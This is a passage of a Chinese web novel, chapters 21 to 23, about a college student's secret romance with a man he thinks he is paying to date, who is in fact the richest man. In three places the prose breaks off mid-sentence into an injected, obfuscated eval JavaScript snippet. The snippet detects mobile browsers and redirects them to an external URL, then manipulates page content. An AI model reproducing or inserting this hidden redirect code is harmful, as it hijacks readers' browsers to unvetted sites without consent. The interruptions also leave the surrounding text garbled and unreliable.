的学长,你不用把我想得太娇贵,我连我爸做的饭都吃得下去。”霍思议像是洞察了他的想法,说道。 奚时点了几样看起来卖相还可以的菜,闻言来了点兴致,问:“你爸还会做饭?” “就是不会啊,”霍思议也点了几样菜,说,“之前隔离时期,我爸难得赋闲在家,兴致来潮研究了好几天美食,差点把我家佣人都吃辞职。” “……” 奚时想象了一下神秘的首富做了一道道黑暗料理,他家里的佣人慑于他的淫威不得不吃的哭唧唧场景,忍不住笑问:“有这么难吃?” “超难吃,学长我们坐这边吧,他们那里坐满了。” 奚时于是跟霍思议单独坐了一桌,霍思议掏出手机说:“我给你看他做的饭照片。” 说着,霍思议找到他爸做菜的照片,递给奚时看。 果然是黑暗料理,卖相惨不忍睹,隔着屏幕奚时都感觉到了它们的不好吃。 “你往下滑,好多。”霍思议说。 奚时往下滑,每一张的黑暗都超乎了他的想象。 滑到不知道哪一张时,一个男人的背影猝然闯进了奚时的视线,那是一张雪夜里拍的照片,男人穿着大衣走在拍照者的前面,路灯把他影子拉得很长,意境十足。 这背影,他怎么看出了几分熟悉的味道。 奚时把手机递还给霍思议,说:“这张照片拍得真好看。” 霍思议接过来看到他停留的照片,说:“这就是我爸,我抓拍的,是不是很有电影海报男主感觉?” “......” 居然是他爸吗,他刚刚看还想着一点像景沉,现在立刻觉得不像了。 他可不敢把体贴温和的景沉和这位神秘可怕的男人联系在一起。 光是想想就很惊悚的程度。 而且年纪也对不上,霍思议都十八岁的大小伙子了,首富再年轻也三十八九了吧。 景沉也就三十多的样子,放古代都生不出这么大娃。 奚时不知道自己错过了离真相最近的一次。 吃完饭后,奚时拒绝了霍思议去散步消食的提议,回宿舍后洗了个澡,再拿起手机时,看到之前拿单反拍照那个女生给他发了好多照片。 都是他打篮球时的抓拍,女生的拍照技术很好,连奚时自己看,都觉得帅极了。 而且也不知道这位女生是不是追过星,她发的照片其他人都模糊处理了,球场仿佛成了他的个人秀,属于贴网上都不会侵犯别人肖像权的程度。 奚时选了几张自认为帅的,发给景沉。 你咋不上天:给你一分钟时间,写300字小作文夸上面的照片。 景沉:那要等我再去投个胎,化身八爪鱼。 你咋不上天:(害羞)八个爪,那多涩情啊。 你咋不上天:玩捆绑play一定很刺激吧。 景沉:…… 景沉昨天才餍足,原本看到奚时那些打篮球的照片,都只是觉得很帅,全部保存了下来,并没有往歪处想。 但奚时这一句话,愣是把他脑子带歪了。 想象一下浑身瓷白漂亮的男生被八爪鱼捆缚,勒得浑身泛红的画面…… 景沉闭了闭眼,现在的大学生,太会惹火了。 21. 第 21 章 学校里有时候屁大点事也会被放大议论,比如奚时这个老男神和霍思议这个新晋男神一块打篮球吃饭的事,不知道被谁发论坛,居然还引起了不小的讨论。 而且别看霍思议在奚时面前一副阳光开朗的样子,其实他平时挺高冷,颇有校园文冷酷男主的范儿。 这就导致了他在其他人面前和奚时面前的反差,衍生出了更多的讨论。 奚时平时从来不玩论坛,也不知道他跟霍思议不过打个篮球而已还会被当做话题点。 直到这天下午后两节没课,他打算出去看房子的,刚走出教室,却被堂妹奚玥拦下了。 奚玥也是燕大的大一新生,作为舞蹈特长生考进来的。 现在大学生化妆已经是常态,不过作为艺术系的,奚玥又格外会打扮,大波浪卷长发,浅色的吊带小短裙,外面罩一件牛仔外套,即便她颜值并不是十分高,这么精心一打扮,也格外有气质。 和奚时一块的郭昊和肖楠见他被这么个小美女拦下,都朝他挤眉弄眼。 郭昊用肩膀撞了一下奚时,笑嘻嘻地说:“你小子艳福不浅啊。” “学长误会了,我是他的堂妹。”奚玥不冷不热地解释说。 郭昊“噢噢噢”了几声,又赶紧找补:“你们家基因真好,哥哥长得这么好看,妹妹也是个小美人。” 这个时候,按照华国人的社交礼仪,都会表示一下谦虚或者感谢。 但奚玥只是皮笑肉不笑了一下。 肖楠悄悄扯尴尬得脚趾扣别墅的郭昊,示意他看奚时,这时郭昊才发现奚时略微苍白的脸色和紧咬的嘴唇,这才意识到这对堂兄妹之间的氛围不太对劲。 “你们先回去吧。”奚时说。 郭昊和肖楠也不好参与人家的家务事,既然奚时都这样说了,也就都先走了。 这教室下节课没有学生来上课,人很快走光了,教室门口只剩下他们两个人。 奚时倚在墙上,说:“有什么事你说吧。” 奚玥一改平时在奚时面前盛气凌人的样子,和颜悦色地说:“二哥,下个月3号我生日派对,你来的吧。” 奚时“嗯”了一声。 纵使他一万个不愿意去,纵使奚玥再不欢迎他,但这种场合,他还是需要露个面的。 不然被外人看到奚家千金的生日派对,他这个堂兄都不出面,别人又要猜测是不是他叔叔家排挤他、没善待他之类的,影响不好。 奚时不至于这么不知轻重。 “那......你把霍思议也带来呗。” 原来是为着这事啊。 奚时直接说:“不可能。” 奚玥脸色顿时忍不住拉下来,问:“为什么不可能,你们不是很熟吗?” “不熟。” “你撒谎,你们明明一起骑马,一起打篮球,还一起吃食堂,去上课路上碰到了还有说有笑,都被人放论坛嗑八百回CP了,这就是你说的不熟?” 奚时皱眉。 奚玥说的确实是事实,但也是他跟霍思议仅有的交集,只能说是认识,真还没到熟的程度。 “论坛没有的都能说成有的,你要是信论坛不信我,我也没办法,反正我没那么大的脸请霍思议去,你要想他去,就自己给他发邀请函。” 奚玥暗暗咬牙,她要是能请到霍思议,需要低声下气地来求奚时么。 知道霍思议也是燕大的新生后,她开心得不行,这几天特地打扮得漂漂亮亮的,有意无意在霍思议跟前晃,想跟他搭讪,只得来霍思议一声不耐烦的滚。 他的好脸色只给奚时一个人,奚时还说跟他不熟,她真想给他这得了便宜还卖乖的嘴脸一嘴巴子。 但不行,现在还要求他。 “我是没办法了,”奚玥委屈巴巴地说,“你惨遭退婚后,我也跟着被笑话,被排挤,你都不知道我这个月是怎么熬过来的,我太难了。” “所以,你帮帮我行不行,我真的很需要霍思议这么一个人物帮我撑场子。” “而且,自从和邵家退婚后,我们家的生意也受了不少的影响,据我所知掉了好几单大生意,他们都是冲着我们攀上了邵家来的,你明明可以协议结婚挽回损失,你偏不,你看我爸妈有说什么吗?” 奚时垂在身侧的手慢慢攥紧。 又来了,熟悉的道德绑架又来了。 可偏偏,他又说不出反驳的话来。 奚玥观察着他的脸色,继续说:“我说这个不是为了让你自责,但如果霍思议来参加我的生日派对,那他们就会觉得我们结交上了霍家,就能抵掉你被退婚带来的损失。” 奚时嘴唇紧咬,一言不发。 奚玥见他这样子,知道又一次pua成功了。 她眼中带了几分泪意,楚楚可怜地看着他,落下最后一击。 “你就当弥补我了,成么?” 奚时:“……” “成不成,二哥~” 奚时张了张嘴,刚要说什么,他的手机忽然响了起来,是他给景沉设的专属铃声。 奚时顿时像抓住了救命稻草,说:“我接个电话。” 这电话来得真寸,奚玥眼中闪过一丝阴霾。 不过她话说到了这个份上,她目的已经完成了,后面再使点手段让奚时不得不带霍思议就行了。 于是说:“那我等你的好消息哦,3号,下周四,别忘啦。” 说着她转身离开。 奚时嘴唇发白,深吸了一口气,才接起电话。 “哥。” “嗯,我到你学校南门了。” 听说奚时要出去看房子,景沉也说要过来帮他看。 “好的,不好意思,你等我五分钟,我马上出来。” 景沉一下听出了他语气的不对劲,平时奚时跟他说话都是嬉皮笑脸的,哪里会这么客气。 不过他没问什么,只是说:“不急,我等你。” 奚时几乎是一路小跑地到了南门,这会儿不是下课高峰期,南门没什么人,他一下看到了站在奶茶店门口的景沉。 “哥。”奚时跑过去。 景沉看他气喘吁吁的,脸颊绯红的,把手上的奶茶贴在他脸上,冰冰的触感让奚时缩了下脖子,伸手接过他手上的奶茶。 “给我的?” “嗯。” 奚时插上吸管,喝了两口,刚刚奚玥带来的不愉快似乎被这奶茶冲散,他呼出一口浊气,冲景沉弯眼笑道:“好喝。” 景沉这一刻想摸摸他的头,但想到什么,又变成克制的拍肩膀,说:“走吧。” 燕大南门的街对面就是一个小区,这是离学校最近的小区,走路不过五分钟。 之前和邵寻订婚后,奚时本来建议先在这里买套房住,不过邵家有钱,不愿意这样委屈他们,花高价在几公里外的兰园买了一处别墅,并安排专门的司机接送他来回。 其实吧,不可否认,当初和邵寻刚订下婚约时,他的内心是雀跃的,联姻带来的好处肉眼可见,回报了叔叔这十几年的养育之恩。 他也不用再寄人篱下,表面风光。 可如果是协议结婚,他不过从一个篱下换到另一个篱下,享受高高在上的表面风光,实际依旧要仰人鼻息。 所以他自私一点有错吗? 有吗? “是不是又碰到什么不开心的事情了?”景沉忽然问。 “我……没有啊,”奚时悄悄用小指头勾住景沉的,说,“跟你在一起什么不开心都变成开心啦。” 强颜欢笑。 景沉脑袋里蹦出这四个字。 他的手反握住奚时的。 “有什么不开心可以跟我说。” 奚时被他这举动吓了一跳,不是说好的在学校装兄弟么,哪有兄弟手牵手的。 要是被奚玥看到他跟个没权没势的工地打工人在一起,不知道会闹出什么逼动静来。 他赶紧把手抽出来,瞪了他一眼说:“还不是怪你周末不知节制,害得我作业没写完,刚刚上课被老师抓典型批评了。” 景沉:“……” 到底是谁不知节制。 景沉空落的掌心蜷了蜷,知道奚时没说实话。 不过他没再问了。 中介已经在小区门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048959|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等着了,看到一对帅哥走过来,眼睛亮了亮,内心疯狂尖叫好帅。 不过职业素养让她保持住了微笑,说:“昨天有套新退租的,那套房子应该更符合需求,两位要先过去看看吗?” 奚时说:“可以啊。” 中介于是先带他去看新退租那一套,奚时一进去就喜欢上了。 可能是租客退租后房东刚雇人打扫,这房子干净到几乎像新的,而且装修舒适温馨,走进去就有种回家的松弛感。 由于楼层高,采光和视野都超好,大面积的落地窗,可以俯瞰到很远处美景。 奚时越看越喜欢,特别是卧室超大size的床,他都可以想象和景沉在上面滚床单的快乐了。 见中介没进来,奚时小声说:“怎么办哥,我好想租。” 景沉说:“租。” “可是,我感觉这里租金肯定超级高,你看这床,一看就是新换的,这么大尺寸还是定做的,这做工……我怀疑这是哪个土豪要包养我们学校哪个大学生定制的。” 景沉:“……” 这敏感的嗅觉…… “当然,我不是没钱!” 奚时先强调,然后笑眯眯地说:“我就是觉得不如把这钱花在你身上,你说是不是?” 景沉闻言,目光柔和下来。 或许别人说这种话很虚伪,可从奚时嘴里说出来,这话就很中听。 景沉先“嗯”了一声表示肯定,随即又说:“不过你可以先问问价,或许并不会非常高。” 价是肯定要问的,奚时只是担心等下他觉得贵不划算不想租,景沉会觉得他租不起,进而怀疑他没钱,然后跑路怎么办。 所以要先打个预防针。 这时中介进来问看得怎么样,奚时说:“挺好的,这里的租金多少啊?” 中介说:“不贵的,房东自己在国外,不缺钱,只是怕房子没人住反而会腐朽,所以才出租,给出的价格是这个数。” 她抬手比了个六。 “6000?”奚时睁大眼。 中介含笑点头:“是的。” 奚时震惊了,他们学校并不偏,相反的,作为燕京TOP1的大学,又是百年老校,他们学校周边完全被燕大带着发展起来了,这小区更是被炒出了高价。 而且这是三房,简装都不止这个价了,何况是这种豪华装修。 “那个,”奚时轻咳一声,怀疑地问,“这房子没什么问题吧。” 他都怀疑是凶宅了。 “当然没有!” 中介立刻说:“您放心,这房子绝绝对对没有任何问题,不信你可以到周围打听的,真的就是房东他不在乎钱,希望租客能保养好房子,仅此而已。” 奚时更警惕了:“等我退租的时候不会来个提灯定损吧。” 中介:“……” 不是,现在的大学生怎么这么难忽悠的哇。 中介的内心也是崩溃的,人家出了钱,让她以六千块的房租把房子租给奚时,她能怎么办。 人家给的实在是太多了啊。 好在这时景沉站出来解围,说:“这房子应该有上任租客,方便的话可以问问情况。” 中介看这位先生的气质,隐约感觉他就是出钱给她忽悠眼前这大学生那位,经他提点,福至心灵。 “对对,我把上一任租客微信推给你,你可以联系一下,绝对没问题的。” 奚时说:“也可以。” 中介立刻推了一个微信过来,对方的微信昵称是一个昼字,奚时加了之后,那边也很快通过。 你咋不上天:你好。 昼:你是…… 你咋不上天:我是燕升小区5栋2901的新租客,听说你以前在这里住过是吗? 昼:是的。 你咋不上天:哦,我想问一下,这洗手间有四个开关,哪个是淋浴间的,哪个是浴霸的? “看,他答不上来,说明他压根没住过,”奚时把手机给中介看,“你别是看我是大学生忽悠我吧。” 中介:“…………” 我他妈+%$…… 22. 第 22 章 景沉也被奚时这一通操作给弄得愣了一下,随即低笑了一声。 他本意是想给奚时安排一个好点的住处,才让助理把这套房子挂在中介这里,并让她以一个较低的价格租给奚时。 那个微信昵称为“昼”的其实就是他助理,本来大家都觉得这是一件很简单的事情,谁也没想到奚时警惕性这么强。 强点也好,以后出去不会被人拐走。 中介知道自己把事情办砸了,只能找补说:“我发誓这其中真没猫腻,这套房子就是这么便宜租给你,以后退租也不会找你麻烦的。” 奚时不为所动,说:“今天麻烦你跑一趟了,我们再去别处看看吧。” “……”中介见他完全不被忽悠,只能讷讷道,“那,你要是回心转意了,随时联系我。” 离开这个房子后,中介一步三回头地走了。 景沉倒是心情还不错,奚时平时在他面前一副恋爱脑上头不太聪明的样子,看到他聪明机灵的一面,觉得挺新鲜。 “还要看?”见奚时没直接离开,他问。 “嗯,我约了另一个中介,她手上有套房子,新装修的,就是租金有点贵,我本来没考虑的,不过看到刚刚那套房子,我觉得其他房子入不了我的眼了,贵就贵点吧。” 景沉说:“新装的,有甲醛。” “我看了中介发的和房东聊天的截图,暑假前就装修好了,只是这里暑假大四退房的多,租不出去,开学后租出去了一次,但租客临时违约了,加上房租高,这套房子就一直空着。” 景沉眼中有赞赏,了解和考虑都很全面。 从老板的角度看,如果这次找房子是一次隐形面试,奚时已经被他满分录取了。 “哥。” 奚时忽然凑近他,看他眼睛。 景沉:“怎么?” “你这眼神分外资本家,我仿佛闻到了自己身上袅袅升起的一股班味。” 景沉:“……” 感觉很对,下次不许再感觉了。 他们等了一会,第二个中介就来了。 这个小姐姐看起来很年轻,估计大学毕业不久,看到两位帅哥,还会不由自主地脸红。 她带他们去看新装修的那套房子,这房子是两房的,除了次卧采光没那么好,其实视觉上并不比刚刚那套豪华装修的三房差太多。 当然细节没法比,奚时敢肯定,刚刚那套房子,就单单主卧那一张床,其造价都够付这里好几个月房租了。 不过这里胜在新装修后没人住过,除了租金较贵,也无可挑剔。 “租金还有谈的余地吗?”奚时问。 中介挂的价格他是真觉得贵了。 他是有钱,属于富二代,这房子就是租五万一个月他都毫无负担压力,但不代表愿意做冤大头。 中介果然是个才步入社会的,没什么经验,实诚地说:“奚先生您要诚心租的话,我去跟房东沟通,给到您上个没入住那个房客的价格,这个价格我敢保证绝对是最低的,上个房客和房东磨了好久才磨到的。” 奚时问:“多少。” 中介说了一个数字,比挂出来的少了600。 不得不说,是个狠人。 当然,还是很贵。 奚时和景沉对望了一眼。 景沉冲他点点头,奚时也知道这个价格低不了了,爽快地说:“成,你去说吧。” 中介立刻去给房东打电话,也不知道双方怎么沟通的,这通电话打了近十分钟,回来的时候中介眼睛有点红红的,说话也有鼻音,奚时怀疑是她太实诚透个底,被房东说了。 不过谈判结果是好消息,房东答应了。 房东人不在燕京市,奚时跟中介这边签了合同,等他寄给房东签了再给他。 一切手续办妥后,奚时改了密码门的密码,正式租下了这套房子。 他请了家政上门打扫卫生,自己跟景沉去吃晚饭。 “我们去吃最近很火的那个摩天轮晚餐吧。”解决一件心事,奚时心情愉悦地对景沉说。 景沉没意见。 摩天轮餐厅所在的世贸就在学校的附近,他们驱车到了地点,从离摩天轮餐厅最近的三号门进去。 刚走到门口,景沉脚步忽然顿住。 奚时跟他牵着手,见他不走,转头问:“怎么啦?” “我们换个门进。” 景沉说着,拉着奚时快步往外走。 “啊?哦。”奚时有点莫名其妙,又好奇地问,“到底怎么啦?” “碰到个不想见的人。”景沉语无波澜地解释,还加快了脚步。 “这样噢。” 原来景沉这种人也有不想见的人吗? 奚时忍不住好奇地想回头看到底是怎么样的奇葩,景沉却伸手把他揽进怀里。 奚时一向都是主动那一方,第一次见景沉如此主动,心里立刻美滋滋,也没回头去看了。 “霍哥,你在看谁?” 见霍思议不住往门口看,他同学好奇地问。 霍思议皱眉,他刚刚心不在焉地玩手机时,眼角余光貌似看到了两个人,其中一个像奚时,另一个则像他……爸。 但那两个人只是一闪而过,等他仔细去看时,那两个人已经走远了。 举止亲密,黏黏糊糊。 霍思议又收回了目光。 肯定是看错了,穿着不像,行为举止更不像。 他爸那工作狂兼臭直男,平时脸一冷能吓死一堆爱慕对象,必不可能会跟人如此亲密。 被男人揽在怀里那男生倒有可能是奚时,毕竟通过几天观察下来,奚时看起来确实像有主的样子。 霍思议克制住冲上去瞧瞧的欲望,拿出手机给奚时发消息。 —— 奚时跟景沉又拐到了二号门,进去的时候景沉一直在注意四周的人。 倒不是他不愿意让霍思议看到他跟奚时在一起。 就是……现在两个人的关系不算光彩。 作为父亲,他也是要面子的。 被一个大学生包养,这大学生还是儿子同校同学这种事情,是真的有点见不得人。 奚时注意到了他的警觉,景沉这人吧,总给他一种走到哪都从容自在的感觉,即便是那些高档场合,也不见他怯场。 仿佛走到哪,都是他的主场。 他还是第一次见景沉这么不淡定。 奚时笑嘻嘻地说:“哥,我们怎么整得跟偷情一样,你不会是其实有家室怕被捉奸吧?” 家室没有,儿子倒有一个。 景沉想了想,说:“我骗了你,刚刚我确实是看到了个家人,但不是伴侣,我一直单身。” 听到骗了你的时候,奚时心里咯噔了一下,等景沉说完全句,奚时忍不住抡起拳头捶了一下景沉。 “靠,被你吓死了,你早说躲家人啊,我又不会怪你。” 奚时也知道他跟景沉的关系不光彩,人家不想让家人知道他被包养了很正常。 “抱歉。”景沉认错态度良好。 奚时也不是真生气,他抓着景沉地手说:“我带路,你观察,情况不对立刻说,走走走。” 两个人于是东张西望,鬼鬼祟祟地到了摩天轮餐厅,奚时报了自己预约的手机号,服务员把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048960|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们领到一个刚落地的空车厢,二人赶紧坐进去。 等摩天轮车门关上,二人才不约而同松了口气。 奚时摸着胸口说:“我终于知道为什么那么多人喜欢偷情了,真刺激。” “……” 景沉抽纸巾擦了擦手心的汗。 刺激过头了,谈判桌上谈几个亿的项目都没这么不淡定的时候。 “哇噢,这里风景真好。”奚时打量起四周来。 这车厢里面布置得浪漫唯美,头顶是粉色玫瑰装点的花架和白色幔帘,车厢隔绝了外面的喧嚣,音箱里播着舒适的音乐,桌子上放了一束鲜花,散发出沁人的清香。 景沉也看着窗外,随着车厢冉冉升起,视野慢慢开阔,有种说不出的闲适。 “哎呀,点餐点餐,哥,你想吃什么自己点,不要客气嗷。” 景沉说:“好。” 这里摩天轮一圈是1314秒,第一圈的时候客户扫桌上的码点单,下面准备,等第一圈下去后服务员会一次性把刚做好的餐食端进来,第二圈开始享受美食。 奚时拿出手机,打开微信扫桌上的二维码,这里是西餐,奚时点了几样爱吃的,等景沉也点完后,点了下单。 点完餐,就可以开始嫖景沉啦。 奚时刚要把手机收起来,看到微信有未读消息。 一条来自霍思议,另一条来自奚玥。 学弟:学长,你在做什么?约篮球吗? 奚时给他回了一句“不约了,在外面跟人吃饭”,又去看奚玥的。 奚玥:二哥,我刚跟爸妈说了你会带霍思议来,他们可开心了!加油喔,我们等你好消息。 奚时握着手机的手微微发白,气的。 他甚至都没答应,奚玥就跟叔叔婶婶他们说,这样子如果他没带霍思议去,他都不敢想象叔叔他们会有多失望。 奚时紧咬嘴唇,他这个堂妹,实在太会拿捏他了,永远知道他痛处在哪里,永远一击必中。 正在奚时气得咬牙切齿又无能为力时,一只修长的手覆盖在了他的手机屏幕上。 是景沉。 奚时茫然抬头,才看到景沉目露担忧地看着他,问:“你怎么了?” “我……” 奚时很想给他倒出一腔的憋闷与委屈,可是说了有什么用呢,不过是多个人陪他无能为力罢了。 这么好的约会气氛,他不想破坏了,摇摇头说:“没什么,看到了点不愉快的东西。” 说着,他把手机丢在桌上,弓着身绕到景沉这边,挨着景沉坐下,冲他撅起嘴巴说:“金主爸爸不开心了,要宝贝亲亲才能好。” “……” 景沉在手机上输入了什么,发送出去,才放下手机,低下头,吻住奚时的嘴唇。 落日的余晖顺着玻璃窗口洒进来,落在唇舌交缠的二人身上,他们像普通情侣一样,在这代表浪漫的摩天轮里辗转,缠绵。 而刚结束一天工作,累得腰酸背痛,准备出去逍遥快活放松放松的霍思远,收到了两条令他笑容消失的微信。 小叔:你问问奚时,他碰到了什么难题,想办法帮助他。 思议:学长他好像真恋爱了,帮我想想,我该怎么拆散他们。 霍思远:“…………” 不是,他小叔作为首富,有什么事情是解决不了的,为什么要把他拉进他们小情侣play的一环里! 还有他这堂弟,且不说他不懂怎么拆散人,就算他懂,他敢说吗? 敢吗? 这一刻,霍思远只想去把地球炸了。 这世界没什么值得留恋的了,毁灭吧。 23. 第 23 章 等从摩天轮上吃完饭下来,天已经擦黑了。 大三晚上不会查房,奚时今天并没有回去的打算。 他们直奔附近的酒店,刚进门就先干柴对烈火地滚了一把床单。 事后,奚时裹着薄薄的被子,一脸餍足地躺在床上玩手机。 这个月眼见着就要到底了,如果他和邵寻的婚约没告吹,过两天就是他们的大婚日。 这个月吃得太好,以至于光是想想要和邵寻那死扑街做那种事情就生理心理双重不适。 还是老男人好啊。 奚时看了眼浴室方向,隔着磨砂玻璃,男人流畅漂亮的身体曲线若隐若现,他满意地打开景沉的微信聊天框,给他转了35万。 其中30万是包养他那一个月50万里的尾款,他们第一次上床时奚时已经给了20万。 另外5万,当然是满意景沉的服务,给的小费。 奚时随便算了下,发现除去包养费50万,还有给他买西装手表类的礼物,以及各种加钱出场费,这一个月,在景沉身上花了70万左右。 比包养一个三线小明星还省钱。 关键是景沉有比一线明星还高的颜值。 而昨天他收到他投资那个小程序游戏的财务给他发的这个月流水,发现他这个月已经净赚了50多万,比上个月增长了两倍。 不得不说小程序割韭菜比想象中的猛,估计比现在一些网游手游都赚钱。 这么一来一回的,他的钱包几乎没瘪。 想到景沉的体贴和越来越好的服务,奚时决定再给景沉送点什么。 他那辆帕拉之前被他贴了个原谅绿的车膜,太过于扎眼,不太适合景沉这种成熟稳重的画风。 要不就给他送辆车吧! 奚时觉得这个主意甚妙,心里对送什么车也有了主意,立刻打开微信,想找4S店的销售了解一下行情。 刚好这时,霍思远的微信消息进来了。 霍思远:晚上好呀小奚时。 霍思远:没打扰你跟你对象的好事吧[奸笑] 你咋不上天:……没有。 你咋不上天:我正寻思送我对象一辆车,你感觉宝马5系怎么样? 霍思远正在喝水,闻言一口水全部喷出来,接着是剧烈额咳嗽,半天才停下来。 吓得家里的佣人差点叫120了。 霍思远心有余悸地让佣人把水杯拿走。 这世界太疯狂,天罡都被倒反了。 霍思远:我觉得,起码买个7系吧。 你咋不上天:你这种有钱人不懂。 你咋不上天:我对象是工薪阶层,他这种身份,也不需要太壕的车,几十万的足矣。 你咋不上天:5系既有体面,又不太高调,最适合他了。 霍思远:“……” 神他妈工薪阶层。 想到他小叔那可以开个车展的一车库车,还有他平时出入时的千万级座驾,霍思远一时间不知道从哪开始吐槽起。 还是换个安全点的话题吧。 他怕知道太多以后奚时下不来台,他小叔会用他开刀。 霍思远:你这样一说,确实挺好。 霍思远:对了,汪洋那□□崽子给你道歉没有? 汪洋自从那天晚上抽象一跪后,没再回来过,东西也没搬走,不知道干嘛去了。 不过应该不会太好,不然就以汪洋那性子,要是被他好起来了,肯定会来他跟前蹦跶。 你咋不上天:道歉了,多谢啊。 霍思远:谢什么,你现在有什么难处,也可以跟我说,哥罩你! 奚时不知道这富二代为什么这么热心,不过人家这样说了,他也得领情。 你咋不上天:好的,需要的时候我会找你的。 霍思远:我掐指一算,你现在就有个难题,需要我帮你解决。 奚时打字的手一顿。 霍思远这意思,难道他知道他堂妹要他邀请霍思议去她生日派对的事情了? 也不奇怪,说不定是奚玥传出去的风声,被霍思远听到了。 奚时咬唇,这奚玥,吃定了他会带霍思议去给她造势。 他偏偏不如她的意。 你咋不上天:确实有个事情,想要你帮忙。 ...... 景沉洗完澡出来时,发现奚时正在开心地翘jiojio。 他身上只盖着薄被,白皙的脚从被子里露出来后,依稀可见被子里的春光。 红白交错,泛着莹润的光。 景沉看得喉头发紧,低声说:“去洗澡。” 解决一件心事,奚时心情大好。 他丢下手机从床上坐起来,冲景沉眨眨眼:“再来一次,再去洗。” 景沉:“……” 奚时整个人缠上来,滚烫的呼吸落在景沉耳边。 “这次,可以留在里面……” 奚时是个很爱惜身体的人,前阵子特地让景沉去做了体检,也把自己的体检报告发给景沉看。 两个人都非常健康,无任何传染病。 总结:可以玩点刺激的。 景沉身体一紧。 随即,他抱起奚时,反客为主。 …… 第二天,奚时直接让舍友给他请假了。 也不知道是不是他撩拨得太过分了,景沉跟老房子着火似的,越烧越旺,后果就是今天连床都下不去了。 景沉也没去上班,陪了他一个上午,中午的时候才离开。 而且他要出差一趟,国庆才回,即便就几天,奚时居然生出几分舍不得来。 “回来我送个惊喜给你。”奚时看着景沉一件件穿上衣服,眼睛没从他身上挪开过。 景沉问:“什么惊喜?” “说出来就不是惊喜了,不过你可以期待一下。” 景沉严重怀疑又是西装。 这人西装控已经到晚期了。 不过他没有戳破,走过去在他嘴边亲了一下,说:“我也会给你带礼物。” 奚时笑得眉眼弯弯,抱着他脖子反亲回去说:“好。” 两个人又腻歪了一会,到景沉不得不走了才依依不舍地分开。 离国庆假还有几天,奚时先把住处搬了,并请了两个舍友,谢河以及发小秦铭天到新房子吃了顿火锅,也算是暖房了。 他们买了啤酒,还给奚时买了娃哈哈,奚时被这群混蛋气笑了,不过考虑到上次喝醉时在景沉那里丢的脸,奚时还是忍辱负重地喝了娃哈哈。 后果就是,他没喝,他那两个煞笔舍友郭昊和肖楠被灌醉了。 好在他住的地方离燕大近,送他们回去也不费事。 奚时把他们二人送回宿舍,等他们都昏昏糊糊地爬上床后,奚时正打算离开,宿舍门又开了,进来的人和正准备出去的奚时差点撞了个正着。 看着吓了一跳的汪洋,奚时脑子里冒出四个字:冤家路窄。 不过奚时跟他之间没有什么好说的,他正要伸手去够门把手,汪洋却先他一步,走进来把门关上了。 奚时皱眉,听到汪洋沙哑的声音问:“我要被我家里送出国去了,你现在很开心吧。” “......” 又来了。 奚时无语。 他确实很开心,但跟汪洋不沾任何一点关系,这人到底啥时候才能明白,他真的一点都不care他们。 “让开。”奚时冷冰冰地说。 “可是你还是输了,”汪洋沉浸在自己的情绪里,得意地说,“你以为我为什么会在你们婚礼前夕回来?因为我知道,我才是邵寻的白月光,主要我回归,他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048961|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定会舍弃一切,投向我的怀抱。” 奚时:“......” 汪洋抬高下巴,继续说:“你利用手段勾搭上霍家人,强行打压我们,让我们分开,不就逼邵寻会回头来求你原谅么?有什么用,你永远都得不到他,就算得到他的人,他的心也跟着我走了!” “.................” “我请问呢,我需要得到一个垃圾干什么?” 本来不想搭腔的奚时忍不住,冷冷开口说:“有些人,你当宝,在别人心中连根草都不是,还回头求我原谅,我他妈脸都给他打烂,脑残。” 奚时说完,一把扯开堵在门口的汪洋,开门出去了。 再多跟他废话,他怕自己忍不住动手。 离毕业只有两年了,他可不想吃个处分。 难怪邵寻和汪洋这么来电,果然脑残才有共有语言啊。 回到住处,谢河和秦铭天已经帮他把残局收拾好了,谢河明天一早还要上课,先回去了,剩下秦铭天,赖着非要住他这里。 “哎哎哎,他已经回来了。” 秦铭天不知道在跟谁视频,听到奚时在门口换鞋的动静,朝视频里说道:“我把手机递给他,你自己跟他说吧。” 说着,秦铭天走到玄关,把手机递给奚时。 “谁啊?”奚时拿过来,就看到了霍思议那张阳光帅气的俊脸,还愣了一下。 “学长,”霍思议像一头大狗狗一样,一脸委屈,“你怎么搬家也不叫我。” “......” 住处对于奚时来说,是一个相对私人的地方,所以他即便跟景沉都滚过那么多次床单了,从不把他带回家。 同理的,现在租住这个房子于他而言就是和景沉约会的秘密基地,除了两个舍友,高中的好兄弟谢河,以及发小秦铭天,他也没叫其他人。 他跟霍思议,远还没熟到那种程度。 但肯定不能这样和霍思议说,奚时干笑道:“刚搬过来,太乱了,哪里好意思让你过来。” 